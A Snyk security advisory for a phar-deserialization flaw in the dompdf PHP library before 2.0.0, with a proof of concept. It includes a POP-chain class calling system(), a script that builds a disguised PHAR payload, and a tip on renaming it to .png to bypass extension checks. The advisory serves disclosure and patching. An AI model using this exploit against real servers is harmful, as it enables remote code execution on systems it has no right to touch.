Deserialization of Untrusted Data Affecting dompdf/dompdf package, versions <2.0.0


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (11th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Deserialization of Untrusted Data vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-DOMPDFDOMPDF-8382097
  • published15 Nov 2024
  • disclosed15 Nov 2024
  • credithaxatron

Introduced: 15 Nov 2024

NewCVE-2021-3838  (opens in a new tab)
CWE-502  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade dompdf/dompdf to version 2.0.0 or higher.

Overview

Affected versions of this package are vulnerable to Deserialization of Untrusted Data through the file_get_contents function. An attacker can execute arbitrary code by uploading a file with a malicious phar:// protocol, leading to the deserialization and instantiation of arbitrary PHP objects.

Note:

This can lead to remote code execution, especially when DOMPdf is used with frameworks with documented POP chains like Laravel or vulnerable developer code.

PoC

Setup the following code in /var/www/html: vuln.php represents the use of DOMPdf functions and phar-poc.php represents code with a vulnerable POP chain.

// vuln.php
<?php
// Include autoloader 
require_once 'dompdf/autoload.inc.php'; 

// Include vulnerable objects include("phar-poc.php");

// Reference the Dompdf namespace use Dompdf\Dompdf; use Dompdf\Options;

$options = new Options(); $options->set('isRemoteEnabled', true); $dompdf = new Dompdf($options);

// Load HTML content $dompdf->loadHtml('<img src="phar://test.phar">'); // (Optional) Setup the paper size and orientation $dompdf->setPaper('A4', 'landscape');

// Render the HTML as PDF $dompdf->render();

// Output the generated PDF to Browser //$dompdf->stream();

?>

// phar-poc.php
<?php

class AnyClass {
        public $data = null;
        public function __construct($data) {
                $this->data = $data;
        }

        function __destruct() {
                system($this->data);
        }
}

The PHAR payload is generated using the following exploit script:

<?php

class AnyClass { public $data = null; public function __construct($data) { $this->data = $data; }

    function __destruct() {
            system($this-&gt;data);
    }

}

// create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data $object = new AnyClass('whoami'); $phar->setMetadata($object); $phar->stopBuffering();

Generate with:

php --define phar.readonly=0 create_phar.php

and execute vuln.php with php vuln.php, noticing whoami being executed

Note that after generating the PHAR exploit code, an attacker can rename it to whatever extension or filename they want, it is possible to rename it test.phar to test.png to bypass any file extension check by the developer and specify phar://test.png in the src attribute.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

CVSS Scores

version 4.0
version 3.1